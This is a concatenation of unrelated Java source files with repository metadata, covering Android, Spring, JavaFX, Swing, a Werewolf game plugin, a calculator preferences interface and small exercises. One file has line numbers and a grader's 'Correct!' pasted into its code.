btnKirimLaporan.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { kirimLaporan(); } }); map.putMore("email", new Pref(ActivityLapor.this).getDriverModel().getEmail()); LocationServices.getFusedLocationProviderClient(ActivityLapor.this).getLastLocation().addOnSuccessListener(this, new OnSuccessListener<Location>() { @Override public void onSuccess(Location location) { loc = location; } }); resetUI(); } public void resetUI() { rg1.clearCheck(); rg2.clearCheck(); map.remove("tipelokasi"); map.remove("idlokasi"); tvTarget.setText(""); tvTarget.setVisibility(View.GONE); } @Override public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (requestCode == REQ_DEPO && resultCode == Activity.RESULT_OK) { DepoModel depoModel = data.getParcelableExtra(ListDepoActivity.INTENT_DATA); tvTarget.setVisibility(View.VISIBLE); tvTarget.setText(depoModel.getNama()); map.putMore("tipelokasi", "1"); map.putMore("idlokasi", depoModel.getId()); } if (requestCode == REQ_DERMAGA && resultCode == Activity.RESULT_OK) { DermagaModel dermagaModel = data.getParcelableExtra(ListDermagaActivity.INTENT_DATA); tvTarget.setVisibility(View.VISIBLE); tvTarget.setText(dermagaModel.getNama()); map.putMore("tipelokasi", "2"); map.putMore("idlokasi", dermagaModel.getId()); } } public void kirimLaporan() { if (loc != null) { map.putMore("latitude", Double.toString(loc.getLatitude())); map.putMore("longitude", Double.toString(loc.getLongitude())); } else { Toast.makeText(this, "Lokasi anda belum ditemukan, tunggu beberapa saat lagi", Toast.LENGTH_SHORT).show(); return; } if (map.get("idlokasi") == null) { Toast.makeText(this, "Belum ada Depo/Dermaga yang ditentukan", Toast.LENGTH_SHORT).show(); return; } if (rg2.getCheckedRadioButtonId() == R.id.rb6) { map.putMore("report_note", etAlasan.getText().toString()); } else { map.putMore("report_note", ((RadioButton) findViewById(rg2.getCheckedRadioButtonId())).getText().toString()); } pd.show(); new Netter(this).webService(Request.Method.POST, new Response.Listener<String>() { @Override public void onResponse(String response) { pd.dismiss(); try { JSONObject obj = new JSONObject(response); Toast.makeText(ActivityLapor.this, obj.getString("message"), Toast.LENGTH_SHORT).show(); resetUI(); if(obj.getInt("status") == 200){ finish(); } } catch (JSONException e) { e.printStackTrace(); } } }, Netter.getDefaultErrorListener(ActivityLapor.this, new Runnable() { @Override public void run() { pd.dismiss(); } }), Netter.Webservice.REPORT, map); } public static void start(Activity context) { Intent intent = new Intent(context, ActivityLapor.class); // intent.putExtra(INTENT_DATA, simpleJob); context.startActivityForResult(intent, REQ_CODE); } }
[ "alfa.alkaaf@gmail.com" ]
alfa.alkaaf@gmail.com
d204cb965e4cbf74003be85a2bd86c86d5ee225e
9ce4d6e5927abec5a1aeca6884ffc83677d6385a
/nainaiwang/shop/src/main/java/com/nainai/controller/ErrorController.java
531f751c6d05481e887c2514ddae341993c1c7c6
[ "Apache-2.0" ]
permissive
nainaiyun/nainaiyunshang
9233dde3ea4301e463133de983b6185cf9db8f5b
19816a7098074e1e6d875c30542f6b959cfcb53e
refs/heads/master
2020-03-09T23:24:55.305224
2018-05-18T06:47:04
2018-05-18T06:47:04
129,057,579
0
0
null
null
null
null
UTF-8
Java
false
false
620
java
package com.nainai.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; /** * Created by haopeng yan on 2018/1/4 17:35. * * @author haopeng yan * @version 1.0 * @since 1.0 * Copyright (C) 2018. nainai All Rights Received */ @Controller public class ErrorController { @GetMapping("/400") public String badRequest() { return "error/400"; } @GetMapping("/404") public String notFound() { return "error/404"; } @GetMapping("/500") public String serverError() { return "error/500"; } }
[ "1071477992@qq.com" ]
1071477992@qq.com
156e35edad85c811718b17248324133588c7b25f
2cbb98badc59383b66ddbd4fb5a66aab35cc2c13
/exemplofunรงรตescomparametros/src/exemplofunรงรตescomparametros.java
8d62ca813524a3de38976050b8739ca378543352
[]
no_license
marcioaleson/Java
e3536719832bedd6d2fa52bc8e7e49b1ca548658
65d6c38a6a6df57ddd309f8ce265d2d0f981a059
refs/heads/master
2021-01-19T19:08:32.759488
2017-04-16T08:19:34
2017-04-16T08:19:34
88,400,202
0
0
null
null
null
null
ISO-8859-1
Java
false
false
492
java
import java.util.Scanner; public class exemplofunรงรตescomparametros { public static void main(String[] args) { int a,b; Scanner valor; valor=new Scanner(System.in); System.out.println("Digite o primeiro nรบmero:"); a=valor.nextInt(); System.out.println("Digite o segundo nรบmero:"); b=valor.nextInt(); calcularmedia(a,b); } public static void calcularmedia(float n1,float n2){ float media; media=(n1+n2)/2; System.out.println("Media:"+media); } }
[ "marcioaleson@gmail.com" ]
marcioaleson@gmail.com
afeb70cfe1ca7a852adf9a86b92c0d2c323ea4c8
3e9706dab828ef022454caa9aa231ed3de13d061
/src/main/java/org/appxi/cbeta/explorer/widget/WidgetsController.java
bb1597474f980621c0987c8b6c07e558eba0f06c
[]
no_license
zhifmjoy/appxi-cbeta-explorer
e2d3e1c89eead0a3ae0047c312ce380aba37e53e
3726ffca0e048bfe05236f85571e7c6c6cff7e6d
refs/heads/master
2023-03-15T20:07:14.679739
2021-03-06T09:55:38
2021-03-06T09:55:38
null
0
0
null
null
null
null
UTF-8
Java
false
false
2,503
java
package org.appxi.cbeta.explorer.widget; import de.jensd.fx.glyphs.materialicons.MaterialIcon; import de.jensd.fx.glyphs.materialicons.MaterialIconView; import javafx.scene.control.Accordion; import javafx.scene.control.TitledPane; import org.appxi.javafx.workbench.WorkbenchApplication; import org.appxi.javafx.workbench.views.WorkbenchSideViewController; import org.appxi.util.StringHelper; import org.appxi.util.ext.Attributes; import java.util.ArrayList; import java.util.List; public class WidgetsController extends WorkbenchSideViewController { private static final Object AK_FIRST_TIME = new Object(); final List<Widget> widgets = new ArrayList<>(); public WidgetsController(WorkbenchApplication application) { super("WIDGETS", "ๅทฅๅ…ท", application); } @Override public javafx.scene.Node createToolIconGraphic(boolean sideToolOrElseViewTool) { return new MaterialIconView(MaterialIcon.WIDGETS); } @Override public void setupInitialize() { } @Override protected void onViewportInitOnce() { this.titleBar.setText("่พ…ๅŠฉๅทฅๅ…ท้›†"); } @Override public void onViewportShow(boolean firstTime) { // only init at first time if (!firstTime) return; this.createWidgetsOnce(); // List<TitledPane> widgetList = new ArrayList<>(this.widgets.size()); for (int i = 0; i < this.widgets.size(); i++) { Widget widget = this.widgets.get(i); TitledPane pane = new TitledPane(); pane.setText(StringHelper.concat(i + 1, " . ", widget.getName())); pane.setUserData(widget); widgetList.add(pane); } final Accordion accordion = new Accordion(widgetList.toArray(new TitledPane[0])); accordion.expandedPaneProperty().addListener((o, ov, pane) -> { if (null == pane) return; Widget widget = (Widget) pane.getUserData(); if (null == pane.getContent()) { pane.setContent(widget.getViewport()); } widget.onViewportShow(ensureFirstTime(widget)); }); this.viewportVBox.getChildren().add(accordion); } private static boolean ensureFirstTime(Attributes attrs) { if (attrs.hasAttr(AK_FIRST_TIME)) return false; attrs.attr(AK_FIRST_TIME, true); return true; } private void createWidgetsOnce() { this.widgets.add(new ImplEpubRenamer(this)); } }
[ "yuanuox@outlook.com" ]
yuanuox@outlook.com
b80b2f9487a35712322130f2b61a353b77daa5a1
2df2004d1f5d5154e5e3cf5e03faf0fed235d363
/src/main/represent/ResultForm.java
ec9574cea9d716ce93c64e38a11d4c048dc49c22
[]
no_license
alexey8pcd/TestingSystem
47f0938ea0b275d9e02670c303608687f647d555
3359d3d5d99b67897c26cf6dd13a307f0e1a6f92
refs/heads/master
2016-08-12T06:36:13.421303
2015-12-04T06:06:42
2015-12-04T06:06:42
46,956,537
0
0
null
null
null
null
UTF-8
Java
false
false
7,904
java
package main.represent; import javax.swing.AbstractListModel; import javax.swing.ListModel; import main.criteria.Criteriable; import main.criteria.LinearCriteria; import static main.Parameters.SCREEN_SIZE; import main.tasks.Variant; /** * * @author ะะปะตะบัะตะน */ public class ResultForm extends javax.swing.JDialog { private double result; private Variant[] answers; private Criteriable criteria; private final ListModel listModel = new AbstractListModel() { @Override public int getSize() { return answers.length; } @Override public Object getElementAt(int index) { Variant answer = answers[index]; if (answer != null) { return answers[index].toString(); } else { return "<html><font color=\"red\">(ะะตั‚ ะพั‚ะฒะตั‚ะฐ)"; } } }; private void refresh() { lMark.setText(String.valueOf(criteria.calculateMark(result))); lScore.setText((int) Math.round(result * 100) + "/100"); lCriteriaName.setText(criteria.getName()); listOfAnswers.updateUI(); } public ResultForm(java.awt.Frame parent, boolean modal) { super(parent, modal); initComponents(); setLocation(SCREEN_SIZE.width / 2 - getWidth() / 2, SCREEN_SIZE.height / 2 - getHeight() / 2); listOfAnswers.setModel(listModel); criteria = LinearCriteria.getInstance(); } public void setData(double result, Variant[] answers) { this.result = result; this.answers = answers; refresh(); } @SuppressWarnings("unchecked") // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents private void initComponents() { jLabel1 = new javax.swing.JLabel(); lScore = new javax.swing.JLabel(); jLabel3 = new javax.swing.JLabel(); jScrollPane1 = new javax.swing.JScrollPane(); listOfAnswers = new javax.swing.JList(); lMark = new javax.swing.JLabel(); jLabel2 = new javax.swing.JLabel(); bChangeCriteria = new javax.swing.JButton(); jLabel4 = new javax.swing.JLabel(); lCriteriaName = new javax.swing.JLabel(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("ะ ะตะทัƒะปัŒั‚ะฐั‚ั‹ ั‚ะตัั‚ะฐ"); addWindowListener(new java.awt.event.WindowAdapter() { public void windowClosing(java.awt.event.WindowEvent evt) { formWindowClosing(evt); } }); jLabel1.setText("ะะฐะฑั€ะฐะฝะพ ะฑะฐะปะปะพะฒ:"); lScore.setText("_______ะฑะฐะปะปั‹"); jLabel3.setText("ะ’ะฐัˆะฐ ะพั†ะตะฝะบะฐ:"); jScrollPane1.setViewportView(listOfAnswers); lMark.setText("________ะพั†ะตะฝะบะฐ"); jLabel2.setText("ะŸะพะดั€ะพะฑะฝั‹ะต ั€ะตะทัƒะปัŒั‚ะฐั‚ั‹:"); bChangeCriteria.setText("ะ˜ะทะผะตะฝะธั‚ัŒ ะบั€ะธั‚ะตั€ะธะน ะพั†ะตะฝะบะธ"); bChangeCriteria.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { bChangeCriteriaActionPerformed(evt); } }); jLabel4.setText("ะจะบะฐะปะฐ:"); lCriteriaName.setText("______ะบั€ะธั‚ะตั€ะธะน"); javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jScrollPane1) .addGroup(layout.createSequentialGroup() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(jLabel1) .addComponent(jLabel3) .addComponent(jLabel4)) .addGap(50, 50, 50) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false) .addComponent(lScore, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addComponent(lMark, javax.swing.GroupLayout.DEFAULT_SIZE, 364, Short.MAX_VALUE) .addComponent(lCriteriaName, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) .addGap(0, 0, Short.MAX_VALUE)) .addGroup(layout.createSequentialGroup() .addComponent(jLabel2) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, 223, Short.MAX_VALUE) .addComponent(bChangeCriteria))) .addContainerGap()) ); layout.setVerticalGroup( layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addGroup(layout.createSequentialGroup() .addContainerGap() .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) .addComponent(lScore, javax.swing.GroupLayout.PREFERRED_SIZE, 30, javax.swing.GroupLayout.PREFERRED_SIZE) .addComponent(jLabel1)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel3) .addComponent(lMark, javax.swing.GroupLayout.PREFERRED_SIZE, 30, javax.swing.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel4) .addComponent(lCriteriaName, javax.swing.GroupLayout.PREFERRED_SIZE, 30, javax.swing.GroupLayout.PREFERRED_SIZE)) .addGap(16, 16, 16) .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) .addComponent(jLabel2) .addComponent(bChangeCriteria)) .addGap(18, 18, 18) .addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 350, javax.swing.GroupLayout.PREFERRED_SIZE) .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) ); pack(); }// </editor-fold>//GEN-END:initComponents private void bChangeCriteriaActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_bChangeCriteriaActionPerformed CriteriaForm form = new CriteriaForm(null, true); form.setCriteria(criteria); form.setVisible(true); criteria = form.getCriteria(); refresh(); }//GEN-LAST:event_bChangeCriteriaActionPerformed private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing }//GEN-LAST:event_formWindowClosing // Variables declaration - do not modify//GEN-BEGIN:variables private javax.swing.JButton bChangeCriteria; private javax.swing.JLabel jLabel1; private javax.swing.JLabel jLabel2; private javax.swing.JLabel jLabel3; private javax.swing.JLabel jLabel4; private javax.swing.JScrollPane jScrollPane1; private javax.swing.JLabel lCriteriaName; private javax.swing.JLabel lMark; private javax.swing.JLabel lScore; private javax.swing.JList listOfAnswers; // End of variables declaration//GEN-END:variables }
[ "alex@localhost.localdomain" ]
alex@localhost.localdomain
46b9eb0d60ee6a9236e94bda143920122d9f9bb6
b02823a43f0714d2d0f13923116b70e81ac9210e
/src/main/java/sote/Jobs/Job_Villager.java
e96f748b0ee8eff53f439b4d9cfb66637dcdc802
[]
no_license
nightmare3832/WereWolf
efc1cd12f005f3a9b584ab3497d2151d47b6c9a9
8c7d1357b6a54a606059347d91dc89543c0e2769
refs/heads/master
2020-07-28T19:43:21.971614
2016-11-17T13:40:15
2016-11-17T13:40:15
73,697,571
7
1
null
null
null
null
UTF-8
Java
false
false
953
java
package sote.Jobs; import java.util.Map; import cn.nukkit.Player; import sote.Main; public class Job_Villager extends Job{ public Job_Villager(Player player){ this.owner = player; } @Override public void Night(){ for(Map.Entry<Player,Boolean> e : Main.isLife.entrySet()){ if(!(e.getKey().equals(this.owner))){ Main.switchNPC(this.owner,e.getKey()); } } } @Override public void setTarget(Player player){ } @Override public int getSide(){ return 0; } @Override public int getTalkRoom(){ return 0; } @Override public int getNumber(){ return 0; } @Override public String getDivinerResult(){ return "ไบบ้–“"; } @Override public String getPsychicResult(){ return "ไบบ้–“"; } @Override public String getName(){ return "ๆ‘ไบบ"; } }
[ "nightmare3832@yahoo.co.jp" ]
nightmare3832@yahoo.co.jp
c20936a14e3d691ab8610176644c66fa49506643
762fa125d19e3e2b4a16456ff3b416e2f136243b
/sched-web/src/main/java/com/gy/sched/controller/JobManageController.java
1653feaafdacb1b2dadc071847101920892c4869
[]
no_license
guoyang1982/Zeus
8d08f3e0b4b59e21409c4029c2e6875a92d50bf9
5b5592af6cbc6a42b8d9153a2ae03036a1f5e41d
refs/heads/master
2020-03-26T08:33:25.276424
2018-08-14T11:58:35
2018-08-14T11:58:35
144,708,662
0
1
null
null
null
null
UTF-8
Java
false
false
422
java
package com.gy.sched.controller; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.servlet.ModelAndView; /** * Created by guoyang on 17/9/15. */ @Controller public class JobManageController { @RequestMapping({"/", "/jobManage"}) public ModelAndView index() { return new ModelAndView("jobManage"); } }
[ "guoyang9@le.com" ]
guoyang9@le.com
95c7fac4885fff8aeb1e1df7bfdf5b59a4ff9d29
01d83e8ce1025c07e59d61891cd4d6d7afe2616f
/app/src/main/java/org/solovyev/android/prefs/Preference.java
b3dd718a98666c60e5b86735faa6666c88fcafa1
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
Bubu/android-calculatorpp
6794121ca897cbd9f4a479e2ab8adb14ce410712
b93ee7812f854b2dcd4d924b30b687f8e16261ae
refs/heads/master
2022-08-30T19:04:48.174144
2022-08-04T18:54:25
2022-08-04T18:54:25
247,170,603
82
17
null
2022-08-04T18:00:47
2020-03-13T22:17:32
Java
UTF-8
Java
false
false
3,694
java
/* * Copyright 2013 serso aka se.solovyev * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ * Contact details * * Email: se.solovyev@gmail.com * Site: http://se.solovyev.org */ package org.solovyev.android.prefs; import android.content.SharedPreferences; import javax.annotation.Nonnull; import javax.annotation.Nullable; /** * Class for working with android preferences: can save and load preferences, convert them to custom java objects * and use default value; * * @param <T> type of java object preference */ public interface Preference<T> { /** * Method returns key of preference used in android: the key with which current preference is saved in persistence * * @return android preference key */ @Nonnull String getKey(); /** * @return default preference value, may be null */ T getDefaultValue(); /** * NOTE: this method can throw runtime exceptions if errors occurred while extracting preferences values * * @param preferences application preferences * @return value from preference, default value if no value in preference was found */ T getPreference(@Nonnull SharedPreferences preferences); /** * NOTE: this method SHOULD not throw any runtime exceptions BUT return default value if any error occurred * * @param preferences application preferences * @return value from preference, default value if no value in preference was found or error occurred */ T getPreferenceNoError(@Nonnull SharedPreferences preferences); /** * Method puts (saves) preference represented by <code>value</code> in <code>preferences</code> container * @param editor preferences container * @param value value to be saved */ void putPreference(@Nonnull SharedPreferences.Editor editor, @Nullable T value); void putPreference(@Nonnull SharedPreferences preferences, @Nullable T value); /** * Method saves default value in <code>preferences</code> container. * Should behave exactly as <code>p.putPreference(preferences, p.getDefaultValue())</code> * * @param editor preferences editor */ void putDefault(@Nonnull SharedPreferences.Editor editor); void putDefault(@Nonnull SharedPreferences preferences); /** * @param preferences preferences container * @return true if any value is saved in preferences container, false - otherwise */ boolean isSet(@Nonnull SharedPreferences preferences); /** * Method applies default value to preference only if explicit value is not set * * * @param preferences preferences * @param editor preferences editor * @return true if default values have been applied, false otherwise */ boolean tryPutDefault(@Nonnull SharedPreferences preferences, @Nonnull SharedPreferences.Editor editor); boolean tryPutDefault(@Nonnull SharedPreferences preferences); /** * @param key preference key * @return true if current preferences has the same key */ boolean isSameKey(@Nonnull String key); }
[ "se.solovyev@gmail.com" ]
se.solovyev@gmail.com
8c2b2ec5ccc906224fb0add0ef1a6c36ebb5956e
0946dc1300c90786a0b86312381bcd9a37036c44
/Stringintro1.java
d3d644351dbe28e267ba2c4eb9f2e1bf9522ed7f
[]
no_license
ashish-bhadane/PracticeJava
10c34d1087f5a25d554e221f38a221d7544bfadb
417483d664454896fa438bb64e97b641b30a339c
refs/heads/main
2023-08-25T22:23:17.392936
2021-10-31T04:34:03
2021-10-31T04:34:03
421,062,964
0
0
null
null
null
null
UTF-8
Java
false
false
866
java
1 class Solution { 2 public static String whoLikesIt(String... names) { 3 String[] namesArray = names; 4 if(namesArray.length==0){ 5 return "no one likes this"; 6 } 7 else if (namesArray.length==1){ 8 return namesArray[0] + " likes this"; 9 } 10 else if (namesArray.length==2){ 11 return namesArray[0] + " and " + namesArray[1] + " like this"; 12 } 13 else if (namesArray.length==3){ 14 return namesArray[0] + ", " + namesArray[1] + " and " + namesArray[2] + " like this"; 15 } 16 else if (namesArray.length >= 4){ 17 return namesArray[0] + ", " + namesArray[1] + " and " + String.valueOf(namesArray.length-2) + " others like this"; 18 } 19 return ""; 20 } 21 22 } Correct! Y
[ "noreply@github.com" ]
noreply@github.com
76c60da1faa59ad962c37a4d87fbd06f24296f4e
7e75700c6ae1ff7829b27c0fb47675c6052647a9
/src/main/java/com/linkresearchtools/jobapplication/Application.java
faae5b7682106cb2011b1bc11c6b21d341d16f3b
[]
no_license
mariusneo/content-extractor
a74bedf9b131eca3bda55e15a2ca207b61e7a560
df9cf47478946ef0345725ec568d3cee9b9acd3d
refs/heads/master
2016-09-06T01:34:17.561639
2015-03-14T10:57:03
2015-03-14T10:57:31
33,144,994
0
0
null
null
null
null
UTF-8
Java
false
false
5,326
java
package com.linkresearchtools.jobapplication; import com.linkresearchtools.jobapplication.contract.Article; import com.linkresearchtools.jobapplication.service.ArticleInformationExtractionException; import com.linkresearchtools.jobapplication.service.ArticleInformationExtractionService; import org.apache.commons.cli.BasicParser; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; import org.apache.commons.cli.HelpFormatter; import org.apache.commons.cli.Option; import org.apache.commons.cli.OptionBuilder; import org.apache.commons.cli.Options; import org.apache.commons.cli.ParseException; import org.codehaus.jackson.map.ObjectMapper; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.OutputStream; /** * <p>The purpose of the application is to extract structured data out of one or more specified webpage by their * URL.</p> * <p>The application uses a site template repository where the structure (CSS selectors for the elements containing the * title, author, content and publishing date) of each the article site to be retrieved is stored. The downside of * using this manual approach for extracting the structured data is that when one of the sites for which the * structure is stored in the repository changes its structure, the extraction will not work anymore until it will be * manually adjusted.</p> * <p>Jackson library is used for persisting the extracted data in JSON template.</p> */ public class Application { public static final String OUTPUT_FILE_PARAM = "outputfile"; public static void main(String[] args) throws IOException { // create the command line parser and the associated options CommandLineParser parser = new BasicParser(); Options options = createCommandLineOptions(); CommandLine cmd; try { // parse the command line arguments cmd = parser.parse(options, args); } catch (ParseException exp) { // oops, something went wrong System.err.println("Parsing failed. Reason: " + exp.getMessage()); printHelp(options); return; } if (cmd.hasOption("help")) { printHelp(options); return; } String[] cmdArguments = cmd.getArgs(); OutputStream out = System.out; if (cmd.hasOption(OUTPUT_FILE_PARAM)) { String outputFilePath = cmd.getOptionValue(OUTPUT_FILE_PARAM); if (outputFilePath == null || outputFilePath.trim().length() == 0) { System.err.println("Invalid file path specified for the argument " + OUTPUT_FILE_PARAM); printHelp(options); return; } try { out = new FileOutputStream(outputFilePath); } catch (FileNotFoundException e) { System.err.println("Invalid file path specified for the argument " + OUTPUT_FILE_PARAM); printHelp(options); return; } } final OutputStream outputStream = out; final ArticleInformationExtractionService articleInformationExtractionService = new ArticleInformationExtractionService(); if (cmdArguments.length == 0 || cmdArguments.length > 1) { printHelp(options); } else { String url = cmdArguments[0]; try { Article article = articleInformationExtractionService.extractArticleInformation(url); try { ObjectMapper mapper = new ObjectMapper(); String json = mapper.writerWithDefaultPrettyPrinter().writeValueAsString(article); outputStream.write(json.getBytes()); } catch (IOException e) { System.err.println("Serialization to JSON of the output for the article website " + url + " failed. Reason : " + e.getMessage()); } finally { if (cmd.hasOption(OUTPUT_FILE_PARAM)) { out.close(); } } } catch (ArticleInformationExtractionException e) { System.err.println(e.getMessage()); } } } private static Options createCommandLineOptions() { Options options = new Options(); Option help = new Option("help", "print this message"); options.addOption(help); Option outputFile = OptionBuilder.withArgName("file") .hasArg() .withDescription("path to the file on which to save the output") .create(OUTPUT_FILE_PARAM); options.addOption(outputFile); return options; } private static void printHelp(Options options) { // automatically generate the help statement HelpFormatter formatter = new HelpFormatter(); String header = "Simple tool used to extract meaningful information (author, publish date, content, comments," + " etc.) about an web article page."; String footer = "LinkResearchTools job application test"; formatter.printHelp("content-extractor [options] [url]", header, options, footer); } }
[ "mariusneo@gmail.com" ]
mariusneo@gmail.com
f31d6b82597ab10297b571b6d2c6708496bf6fe8
70e39a30c2e1eae44e322f54fb64a5df52c97413
/app/src/main/java/com/richyan/android/poker24points/Deck.java
c93a8bae9def8f2b23952d6ab417d20cf55d2662
[]
no_license
ruhuayan/24points-android
62866e4a2a1ebe37cacaecc27c52a043aa5b771b
fe3ad34da2151c44a16efc23e4f18331d9d3de4a
refs/heads/master
2021-06-29T02:03:52.209905
2017-09-18T00:57:32
2017-09-18T00:57:32
103,873,949
0
0
null
null
null
null
UTF-8
Java
false
false
680
java
package com.richyan.android.poker24points; import java.util.ArrayList; import java.util.Collections; import java.util.List; /** * Created by ruhua on 9/11/2016. */ public class Deck { private final List<Card> cards; public Deck(){ String[] faces = {"ace", "two","three","four","five","six","seven","eight","nine","ten","jack","queen","king"}; String[] suits = {"clubs","diamonds","hearts","spades"}; cards = new ArrayList<>(52); for(String face: faces){ for(String suit: suits){ cards.add(new Card(face, suit)); } } } public List<Card> getCards(){ return cards; } }
[ "ruhuayan@gmail.com" ]
ruhuayan@gmail.com
8b032a7baaa83732a90fe6028401a61a2553496b
f09cf4ffa8ff8f568bc586c3adcc7c07c6b15d16
/app/src/main/java/com/pertamina/pertaminatuban/finance/models/CostPerLiter.java
1c83b716378a23cde0ba290a61ee9481f0eca2b7
[]
no_license
udines/prtmnmagang
42a377ab187955ddd213ee0ded8b26c4b1cd8647
aa4b9dcbb67f7e4cb8d4b3ddd75da0025d935702
refs/heads/master
2021-05-12T03:36:01.107950
2018-05-25T22:49:08
2018-05-25T22:49:08
117,619,793
0
0
null
null
null
null
UTF-8
Java
false
false
335
java
package com.pertamina.pertaminatuban.finance.models; import com.google.gson.annotations.Expose; import com.google.gson.annotations.SerializedName; public class CostPerLiter { @SerializedName("costPerLitre") @Expose private double costPerLiter; public double getCostPerLiter() { return costPerLiter; } }
[ "udines@users.noreply.github.com" ]
udines@users.noreply.github.com